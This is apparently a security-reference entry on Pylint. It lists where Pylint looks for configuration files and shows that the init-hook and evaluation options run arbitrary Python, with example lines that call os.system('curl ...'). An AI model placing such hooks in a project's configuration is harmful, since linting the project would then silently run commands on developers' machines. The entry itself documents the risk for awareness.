cli config-file eval-python


Pylint is a static code analyser for Python. Unless pylint is invoked using a specific configuration file, Pylint will search for a configuration file in the current working directory in the following order:

  1. pylintrc
  2. pylintrc.toml, in the section tool.pylint.
  3. .pylintrc
  4. .pylintrc.toml, in the section tool.pylint.
  5. pyproject.toml, in the section tool.pylint.
  6. setup.cfg, in the section pylint.
  7. tox.ini, in the section pylint.

Pylint has 2 configuration options that can execute arbitrary Python code:

# Python code to execute, usually for sys.path manipulation such as
init-hook=__import__("os").system("curl ...")

# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
# 'convention', and 'info' which contain the number of messages in each
# category, as well as 'statement' which is the total number of statements
# analyzed. This score is used by the global evaluation report (RP0004).
evaluation=__import__("os").system("curl ...") or 0